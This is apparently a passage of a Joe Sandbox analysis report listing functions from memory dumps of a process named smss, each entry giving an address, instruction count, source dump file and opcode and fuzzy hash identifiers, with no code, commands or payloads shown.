                                                      Function 00007FFD9B930C25 Relevance: .1, Instructions: 90COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6a52a47b6919094a72b9fa43ebdb72dcd3df89812615f8d05ccb25eaf6313d6a
                                                      • Instruction ID: f28faeb0ab95b7976f7110de50ee87533cc9783c6393c194a88053b48e81d0b5
                                                      • Opcode Fuzzy Hash: 6a52a47b6919094a72b9fa43ebdb72dcd3df89812615f8d05ccb25eaf6313d6a
                                                      • Instruction Fuzzy Hash: 45313C31B1D29EAFE711A7A898657EC7BA0DF42324F0941F7D0598B1D3DA382689C781
                                                      Function 00007FFD9C09D783 Relevance: .1, Instructions: 89COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 851233ac1acad61ff05b1fbf8e75114c35ccf38709bc3435682d208f6826d995
                                                      • Instruction ID: e7ab9c41461a07cf1018aef5cac0f06589010d810c2fe7d9a636e4ca8f50bc42
                                                      • Opcode Fuzzy Hash: 851233ac1acad61ff05b1fbf8e75114c35ccf38709bc3435682d208f6826d995
                                                      • Instruction Fuzzy Hash: A021D561F5CA4A4BF764AB9898323A9B7F0EF55390F04017AD05DC26C3EF1968059680
                                                      Function 00007FFD9BCF81B0 Relevance: .1, Instructions: 88COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b7d0772d5605e6cf693534e8fa03bd2a0a358440b2f3c1e2d0cfc629871cca4a
                                                      • Instruction ID: 79b2c0ed51848f6b63812793fa094873dc8c99eb7bcd94e82310f8c2379894bf
                                                      • Opcode Fuzzy Hash: b7d0772d5605e6cf693534e8fa03bd2a0a358440b2f3c1e2d0cfc629871cca4a
                                                      • Instruction Fuzzy Hash: 1F313910B1E99ACAE73A826845745B87F61EF52302F1946F6D096DB0EBC82CBA41A341
                                                      Function 00007FFD9BCFECA0 Relevance: .1, Instructions: 88COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c1c9ef3fe00e2f66ee630c775083071476e48a88086ecea3b64acc0f26b1a5be
                                                      • Instruction ID: f84b5da10b62218455cc0a2996a8980e32408d710ff2baf3bd18429dceb17266
                                                      • Opcode Fuzzy Hash: c1c9ef3fe00e2f66ee630c775083071476e48a88086ecea3b64acc0f26b1a5be
                                                      • Instruction Fuzzy Hash: 1A312C10B1E5DB8AE739876844705B87FA1EF9630071A45FAD09ACF8A7C42C7A81D792
                                                      Function 00007FFD9C0A033A Relevance: .1, Instructions: 87COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4bc817446ac59590fd10ca9db25e6e64fe7b1df7548138d902abb506a11d12fb
                                                      • Instruction ID: de5481b5163f441357729c74e15355d4e88131ae72664cca583ac6eff122f498
                                                      • Opcode Fuzzy Hash: 4bc817446ac59590fd10ca9db25e6e64fe7b1df7548138d902abb506a11d12fb
                                                      • Instruction Fuzzy Hash: D9310931B1C90FCFEBB8DB8884A95BD76B5FF44388F90017AD40FD2281DB796960A641
                                                      Function 00007FFD9C09C642 Relevance: .1, Instructions: 85COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8a09ca12bd7d43ee5bdb742dc4c4d251fcc3f8e9d4174d286722c056e9c8e499
                                                      • Instruction ID: 057a9244c6bf4665a3815379a8666c31a2fde198100687b940f669b1e5c3ea72
                                                      • Opcode Fuzzy Hash: 8a09ca12bd7d43ee5bdb742dc4c4d251fcc3f8e9d4174d286722c056e9c8e499
                                                      • Instruction Fuzzy Hash: 2121C775E1891D8FDF98DB58C4A5AEDB7B1EF68314F0041AAD00EE3291CB35A9818B40
                                                      Function 00007FFD9BCF55C2 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 25b531c0336db13196ac5c8c67bcf5945917f43de03cd26a80336465adb7df83
                                                      • Instruction ID: ef8c8b4d39457e70e801453019de8d7040ed6ebc1ee1ed648d2f99e82fdd719c
                                                      • Opcode Fuzzy Hash: 25b531c0336db13196ac5c8c67bcf5945917f43de03cd26a80336465adb7df83
                                                      • Instruction Fuzzy Hash: 3821F971F1991D9FDF99DB68C465AECB7B1FF68310F0141AAD05EE32A1CE35A9818B00
                                                      Function 00007FFD9C093562 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: badeeb2994e8236760f7499c345497f02cc2eb88d9eec9b802482fc35b9e8df9
                                                      • Instruction ID: b417d4dbe992c989905467fbeefb45723628725b4b6e95619eea09a8a7444f38
                                                      • Opcode Fuzzy Hash: badeeb2994e8236760f7499c345497f02cc2eb88d9eec9b802482fc35b9e8df9
                                                      • Instruction Fuzzy Hash: 0921C571A189198FDFA8EB58C465BE9B7B1FF6C310F0041AAD04EE3291CB35A9808F40
                                                      Function 00007FFD9C09F210 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ade3d682487eeb0155b72e77964d37c6f2e8d794102ed027bf07d12d51457ab7
                                                      • Instruction ID: 76bfc3df52a64e2159fc7f10d604795f8de9d62ace38c30ad666553ea88fba79
                                                      • Opcode Fuzzy Hash: ade3d682487eeb0155b72e77964d37c6f2e8d794102ed027bf07d12d51457ab7
                                                      • Instruction Fuzzy Hash: 8B310814A2C9974AE739835844B47747B71EF91350B2842BAC18BCB4C7C92CA482E742
                                                      Function 00007FFD9BCFC0D2 Relevance: .1, Instructions: 83COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e059acbf80d1b9176efb5c0e945fda503f9a82b8520bd1c8902274dfd7864efa
                                                      • Instruction ID: 64f9ebc8590e164e35540e7c8442f7890ed95a34b9a9abc2d4f83af27f53d1a0
                                                      • Opcode Fuzzy Hash: e059acbf80d1b9176efb5c0e945fda503f9a82b8520bd1c8902274dfd7864efa
                                                      • Instruction Fuzzy Hash: C721F871F1981D8FDF98DB68D4A5AEDB7B1FF68311F0141BAD00EE32A1CA35A9518B40
                                                      Function 00007FFD9C0A11C1 Relevance: .1, Instructions: 81COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d20a147871387c68da9bb89ca916edb759fa07533dedc98914d52659ad484247
                                                      • Instruction ID: b3996304ba2a1a8b4e052209706e7966cbc1f6eb1f942e7552fb736912cde6ff
                                                      • Opcode Fuzzy Hash: d20a147871387c68da9bb89ca916edb759fa07533dedc98914d52659ad484247
                                                      • Instruction Fuzzy Hash: 57214A34A1894ECFDBA5DB98D8649ACBBB1FF98340F40017AD10EE7291DB38A815DB51
                                                      Function 00007FFD9C09F240 Relevance: .1, Instructions: 79COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: df0e4a2e0bada4c8f058be87de26bf8d3bd985f6487378f822b37866adce9557
                                                      • Instruction ID: d9341d516d6a1378ee026df094fc558b852279551908192bc00fda96c69ba1fc
                                                      • Opcode Fuzzy Hash: df0e4a2e0bada4c8f058be87de26bf8d3bd985f6487378f822b37866adce9557
                                                      • Instruction Fuzzy Hash: 0121B824A3C8574AE738825884B4BB47771EF91341F24467AD15FC74CACA38B983E782
                                                      Function 00007FFD9BCF4A78 Relevance: .1, Instructions: 77COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d8460231395e930bffbb9e5d65fe4ba8ed02bc25e877cdea2cb9dbfc36469070
                                                      • Instruction ID: 77e5d040242813c7e75222e66e929de569bbc9bb91f0878ec97fbc8e36bdcd52
                                                      • Opcode Fuzzy Hash: d8460231395e930bffbb9e5d65fe4ba8ed02bc25e877cdea2cb9dbfc36469070
                                                      • Instruction Fuzzy Hash: AC215E31F1995E9FDB98EBA9C4609ECBBB1FF58300F5101BAD00AE3291DB356905CB54
                                                      Function 00007FFD9C09C31A Relevance: .1, Instructions: 71COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ef477d980fa1bcfdc50a9fd9736a56ba093b1574c04cd04823fce38d06512fc7
                                                      • Instruction ID: bab4fc2b7aaab6ff9a7039b16ba368825acc78342fec56cb30a98bd339969bf3
                                                      • Opcode Fuzzy Hash: ef477d980fa1bcfdc50a9fd9736a56ba093b1574c04cd04823fce38d06512fc7
                                                      • Instruction Fuzzy Hash: 6721A111E4E2C38BE37B52B454717786E603F422A0F1982FAD48E8A4D3DE8D2441A353
                                                      Function 00007FFD9B934413 Relevance: .1, Instructions: 70COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: cc07a3530be5ea2f4871a4a86071edda09fb05edec63d7e2c5147c1f2e5ad9ab
                                                      • Instruction ID: f30975cee87b2fbe7ab5aac62e80f1d9382683605e2711bbddb7c9cfb1017481
                                                      • Opcode Fuzzy Hash: cc07a3530be5ea2f4871a4a86071edda09fb05edec63d7e2c5147c1f2e5ad9ab
                                                      • Instruction Fuzzy Hash: 2721ED31F2990E5EEBA4EB98C4797BC63E1FF94711F5601B9800DD32A5DE386A818B00
                                                      Function 00007FFD9C09E2C0 Relevance: .1, Instructions: 68COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 530275cef36c5b5a1f051602421db72a5583a7a5a9928c0adcaa1b8a72666f95
                                                      • Instruction ID: c43600e68f905e6b48bf8a46d6ba57c046fd5f0242ed4da69c54bc03f1740d79
                                                      • Opcode Fuzzy Hash: 530275cef36c5b5a1f051602421db72a5583a7a5a9928c0adcaa1b8a72666f95
                                                      • Instruction Fuzzy Hash: 0A113A21B1CA5A0BD764EB64D460AFABBE1EF54291F50053AD04FC32D3CE16B8059380
                                                      Function 00007FFD9BCF7260 Relevance: .1, Instructions: 67COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ef5a1999c2a73c0da83067b53401479f1332320c3fa5eab842013b83595726cb
                                                      • Instruction ID: ca3a4d288a4aa2f902510789327ec6ddcd9d88ed84bdb76017c2dd68e57f9828
                                                      • Opcode Fuzzy Hash: ef5a1999c2a73c0da83067b53401479f1332320c3fa5eab842013b83595726cb
                                                      • Instruction Fuzzy Hash: 9D115721B19A0D5FD764EB78D4209FE7F91EF94201B40067AE04EC30E3CD15B64A8380
                                                      Function 00007FFD9C095210 Relevance: .1, Instructions: 66COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 953b67bbab2e37f51c12980c38a29aa62b141820cfc4b3df80aeec998dc68f60
                                                      • Instruction ID: 6879a420331c3f1cda6a7d8f4c8fbe90c603b575426ff838718168194f88df9f
                                                      • Opcode Fuzzy Hash: 953b67bbab2e37f51c12980c38a29aa62b141820cfc4b3df80aeec998dc68f60
                                                      • Instruction Fuzzy Hash: 76110622F5CA4A4EDB65FBA9A460AFA7BA1EF54250F40063AD14FC34D3CE15B44693C1
                                                      Function 00007FFD9BCFDD50 Relevance: .1, Instructions: 63COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 92983f31c6c9eb7f4142709864b0032ee839c593c0cf8c0e3038e72af4613aae
                                                      • Instruction ID: b68494ddf299cba28e7821c0d38e5258cd2f369d359b08f6aa743af3c14ca48e
                                                      • Opcode Fuzzy Hash: 92983f31c6c9eb7f4142709864b0032ee839c593c0cf8c0e3038e72af4613aae
                                                      • Instruction Fuzzy Hash: 7011C421B19A0E4FD765EB7494619FEBB91EF54210F4006BAE18EC30E3CE16B5058394
                                                      Function 00007FFD9C09508E Relevance: .1, Instructions: 63COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 747145bf6d51a3f7b6b51289f03652a057d3a2b1ea0be853a87676f0c859afef
                                                      • Instruction ID: 996c367af044a2cda1caf760f721f24f8047c1b1655074f8124d473d2bbcd5bc
                                                      • Opcode Fuzzy Hash: 747145bf6d51a3f7b6b51289f03652a057d3a2b1ea0be853a87676f0c859afef
                                                      • Instruction Fuzzy Hash: F511663274864A4FE7159A8CE8B07F67BA1EB94350F14027BDA0EC32D2CA56B95087C1
                                                      Function 00007FFD9BCFACC8 Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ededd3fa7d49fada9fba144ebf1b18b2070a06a944c445d4f6871e9755c9af0e
                                                      • Instruction ID: dc0b9c9f7bc5168be0d014428f4cd96feb5e102cfa1e117d0a335a406fe90035
                                                      • Opcode Fuzzy Hash: ededd3fa7d49fada9fba144ebf1b18b2070a06a944c445d4f6871e9755c9af0e
                                                      • Instruction Fuzzy Hash: AE012631F0B64E1BE77191F414282BE7FA1EF55350F0201BAE00ED31A2ED557E069381
                                                      Function 00007FFD9C09E13E Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 36628440774e358829b9a70fdebcd33af1ec147728d232472c065e9d369c2eab
                                                      • Instruction ID: 07be374541bd7fa20fb6dc26186446a4f84f0277149253db65c8b6ca9fce4a14
                                                      • Opcode Fuzzy Hash: 36628440774e358829b9a70fdebcd33af1ec147728d232472c065e9d369c2eab
                                                      • Instruction Fuzzy Hash: 1611883230C64B4FE7259A58D8647F93F91EB543A0F20027AD62DC32D2CA26B9518381
                                                      Function 00007FFD9B93541B Relevance: .1, Instructions: 60COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8d59c82f5bd5c88dc7917c80ed2f8bcbba966e66c93f73aaaade7a522e909caa
                                                      • Instruction ID: dc387f551dc68388e9686677718747c3362b2389d84566667dcddbd6b5e36470
                                                      • Opcode Fuzzy Hash: 8d59c82f5bd5c88dc7917c80ed2f8bcbba966e66c93f73aaaade7a522e909caa
                                                      • Instruction Fuzzy Hash: D9015E21B2AC4E5FEBE8E76C846DA7863D1EF68741B4504B5E40EC72B2ED18AD818740
                                                      Function 00007FFD9BCFDBCE Relevance: .1, Instructions: 59COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 31fb2d29ec94b654987b8360d08b81b9655b36861e6adaa7c75e48db8d1388b9
                                                      • Instruction ID: 9b61791a3e858e349b20ca89ef641a387e38c56b9eea50599ae2d915d0ea31f8
                                                      • Opcode Fuzzy Hash: 31fb2d29ec94b654987b8360d08b81b9655b36861e6adaa7c75e48db8d1388b9
                                                      • Instruction Fuzzy Hash: 4B118E3230964E4FE71ADFA8D8A57FE7F81EB50310F1101BEDA09C31E2CA26B6518790
                                                      Function 00007FFD9C091D68 Relevance: .1, Instructions: 54COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b83ffd2bf9c16cc2e58f4f70744b11aa228db4c03b037774d326473a8c2ff5e8
                                                      • Instruction ID: 586a65a6fb6acd2d401d25331100aeed9c18cd3659df8f2d1250c73dc74ce36e
                                                      • Opcode Fuzzy Hash: b83ffd2bf9c16cc2e58f4f70744b11aa228db4c03b037774d326473a8c2ff5e8
                                                      • Instruction Fuzzy Hash: 2101F172F0A68A9FEB3495E448296BE7BB0EF56380F010079E00ED7192DF592906A761
                                                      Function 00007FFD9B930C38 Relevance: .1, Instructions: 51COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b12dafd257bfa3f430b51076be3dd72a7f88ac314a69923d9ac00a4697e4df08
                                                      • Instruction ID: 10be1626dabc6e9070e019b34637b472c412fb1de6cf4c9650c2b72451a312ec
                                                      • Opcode Fuzzy Hash: b12dafd257bfa3f430b51076be3dd72a7f88ac314a69923d9ac00a4697e4df08
                                                      • Instruction Fuzzy Hash: 0411C231B1E68DAFE711DB78D8602EC7FA0EF42714F0A45F7C084DB2A2D93816498780
                                                      Function 00007FFD9B9342AE Relevance: .1, Instructions: 51COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c4b7d64489c7eafaf9d8c48fee313772de401844838118181f21654c6bc74700
                                                      • Instruction ID: 7b04ab6675296a224d9f18dcbf21d90877a4e731d606d14cdc543f679efb5e77
                                                      • Opcode Fuzzy Hash: c4b7d64489c7eafaf9d8c48fee313772de401844838118181f21654c6bc74700
                                                      • Instruction Fuzzy Hash: B4012D21F2A90E5FEBA4F7A4846977C63D2AF98744F4605B5D00DD72FAED286E808700
                                                      Function 00007FFD9B9357F5 Relevance: .0, Instructions: 48COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 9a95eacdb0defea6ae25c253ae0a53cfc8561ea62b8077e08319e5182f5657a2
                                                      • Instruction ID: 254ac86800a01b3fdb9167454e3d57c637a4af52679f8ce2ac40f98a157f0cbc
                                                      • Opcode Fuzzy Hash: 9a95eacdb0defea6ae25c253ae0a53cfc8561ea62b8077e08319e5182f5657a2
                                                      • Instruction Fuzzy Hash: F011DB34A18A1D8FDB98DF48C8D4BA9B7F1FB68305F11416AD40BD72A1CB34AA84CB41
                                                      Function 00007FFD9B93583C Relevance: .0, Instructions: 48COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6dd94ef04fb51a1df5cb4badf9f18bebc76ff81841c6c8dbdbb86226160b7af6
                                                      • Instruction ID: abe4b061cf2d5dfe1e4dd26521780b3cf77c27a99c8a4fc850ffd4a168fc1db2
                                                      • Opcode Fuzzy Hash: 6dd94ef04fb51a1df5cb4badf9f18bebc76ff81841c6c8dbdbb86226160b7af6
                                                      • Instruction Fuzzy Hash: F4112130A18A0D8FDB54EF48C8E0AADB7F1FB68304F50456DD40AD72A1CF34AA84CB40
                                                      Function 00007FFD9B930C40 Relevance: .0, Instructions: 45COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7f8c594b6f42f1feda177add507a48e20ecf308eace44cb0a3e2225a27ffc595
                                                      • Instruction ID: 81b3bd8d539b3a584133241834e36bc0c3d61199ac5f48b1dccb8579de49fb06
                                                      • Opcode Fuzzy Hash: 7f8c594b6f42f1feda177add507a48e20ecf308eace44cb0a3e2225a27ffc595
                                                      • Instruction Fuzzy Hash: B001AD31B1E68DAFE712DB64C46469D7FB0AF42314F0A41F7C484DB2A2DA385649CB80
                                                      Function 00007FFD9B934499 Relevance: .0, Instructions: 43COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: bd42005dad3e9a0a195f4fa24d8f7802a2ea1b2372b0a99c5eeedc0cb34c38ec
                                                      • Instruction ID: d428ed4a7b6cc0181a57ea0879bf681cbf7f659609c951de19007146fc5ea16d
                                                      • Opcode Fuzzy Hash: bd42005dad3e9a0a195f4fa24d8f7802a2ea1b2372b0a99c5eeedc0cb34c38ec
                                                      • Instruction Fuzzy Hash: 55014F21B2940E5BEEA4EBA48478BBC23D2EF95350F4701B9D00DC73B6DD28AA514701
